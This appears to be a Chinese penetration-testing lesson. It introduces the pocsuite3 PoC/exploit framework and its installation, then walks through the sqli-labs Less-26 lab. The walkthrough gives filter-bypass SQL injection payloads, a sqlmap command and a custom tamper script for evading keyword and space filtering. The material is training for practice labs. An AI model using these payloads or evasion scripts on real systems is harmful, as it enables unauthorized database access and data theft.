python是黑客最喜欢的编程语言之一，但同时go语言正在兴起。

在渗透测试的过程中，为了提高效率，通常需要编写一些小工具，把一系列机械性的手法自动化实现，如SQL注入中的盲注。

区分两个概念：

1、针对某一个（类）漏洞的验证代码，称之为POC，主要用来验证漏洞的存在性。

2、针对某一个漏洞的完整利用程序，称之为EXP，除了验证漏洞的存在性，还能相对完美利用漏洞。

拥有编写号的EXP，再次遇到相同的或相识的目标环境和漏洞，仅需要进行简单的修改就可以直接进行漏洞检查了，大大提高了便利性和效率。

本课程所使用的python版本是3.x。

pocsuite3工具

简介

pocsuite3 是由知道创宇 404实验室开发维护的开源远程漏洞测试和概念验证开发框架

项目地址

https://github.com/knownsec/pocsuite3

漏洞测试框架

Pocsuite3 采用 Python3 编写，支持验证，利用及 shell 三种插件模式，你可以指定单个目标或者从文件导入多个目标，使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用，也支持类似 Metaspolit 的交互模式进行处理，除此之外，还包含了一些基本的如输出结果报告等功能。（使用方法参考《Pocsuite 使用方法》）

POC/EXP开发包

Pocsuite3 也是一个 PoC/Exp 的 SDK，也就是开发包，我们封装了基础的 PoC 类,以及一些常用的方法，比如 Webshell 的相关方法，基于Pocsuite3 进行 PoC/Exp 的开发，你可以只要编写最核心的漏洞验证部分代码，而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite 使用，Seebug网站也有几千个基于pocsuite 的 PoC/Exp。

可被集成模块

Pocsuite3 除了本身具有直接就是一个安全工具除外，也可以作为一个Python包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用，我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类，你可以基于 Pocsuite3 进行二次开发，调用 Pocsuite3 开发您自己的漏洞验证工具。

集成ZoomEye，Seebug，Ceye

Pocsuite3 还集成了 ZoomEye， Seebug， Ceye API，通过该功能，你可以通过 ZoomEye API 批量获取指定条件的测试目标（通过 ZoomEye 的 Dork 进行搜索），同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC，进行自动化的批量测试。利用Ceye 验证盲打的 DNS 和 HTTP 请求

特性

POC脚本可以运行在attack，verify，shell等模式下

插件化的方式动态加载

可从本地文件，redis，数据库，seebug网站等动态加载POC脚本运行

可通过CIDR，本地文件，redis，数据库，Zoomeye Dork批量加载检测目标

可以自定义结果导出插件方便导出多种格式的检测报告

可动态补丁requests爆，支持多种额外特性

可通过命令行或者python包导入运行

IPV6支持

全局的HTTP/HTTPS/SOCKS代理支持

为POC脚本提供简单爬虫API功能调用

Seebug联动Seebug（从seebug网站搜索和加载PoC脚本）

ZoomEye 联动 ZoomEye (从ZoomEye Dork 批量加载检测目标)

Ceye 联动 Ceye (提供盲打的DNS及HTTP请求验证)

Shodan 联动 Shodan (从Shodan Dork 批量加载检测目标)

监听反向链接的 shell

PoC脚本支持友好的 IDE 动态调试

More …

环境要求

Python 3.4+
Linux, Windows, Mac OSX, BSD

安装

直接pip3安装

pip install pocsuite3

或者直接下载最新的解压

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install

使用方法

pocsuite -h  查看帮助信息

Pocsuite3 有三种运行方法，1、命令行；2、交互式控制台；3、集成调用。

命令行

交互式控制台

类似 Metasploit 的控制台，使用 poc-console 命令进入

集成调用

定制SQLmap

tamper脚本

SQLmap是一款SQL注入神器，可以通过tamper对注入payload进行编码和变形，已达到绕过某些限制的目的。但是有些时候，SQLmap自带的Tamper脚本并不是特别好用，需要根据实际情况定制Tamper脚本。

sqlmap,Tamper详解及使用指南

关卡分析

被过滤字符

字符	替代字符
–+ #	and '1 and 1='1
and	anANDd
or	oORr
	%a0(linux 系统特性)

?id=1

Hint: Your Input is Filtered with following result: 1
提示：您的输入将被过滤，结果如下：1

?id=2

?id=1'

得出结论：字符型注入，闭合方式单引号

使用--+注释掉后面的，发现报错，说明--+没有起到效果

?id=1' and '1

and被过滤了

可以考虑双写，?id=1' anANDd '1

双写能显示出and，但是空格没有出来，被过滤了

试一下用+号来代替空格

?id=1'+anANDd+'1

发现+号被过滤掉了，所以上面的--+起不到注释的效果就是因为+号被过滤

尝试使用特殊字符代替空格，网上搜寻

%a0可以代替

联合查询

?id=1'%a0union%a0select%a01,2,3%a0anandd%a01='1

?id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aANDnd%a0'1

使用sqlmap跑一下，-v参数可以显示注入的payload

 python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3

tamper脚本编写

tamper脚本位置在sqlmap/tamper

#sqli-labs-26.py
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    <space>             %a0
    and                 anANDd
    --+                  and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)-- "," and 'lili",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i)\ ","%a0",payload)

    return payload

(?i) 正则忽略大小写匹配
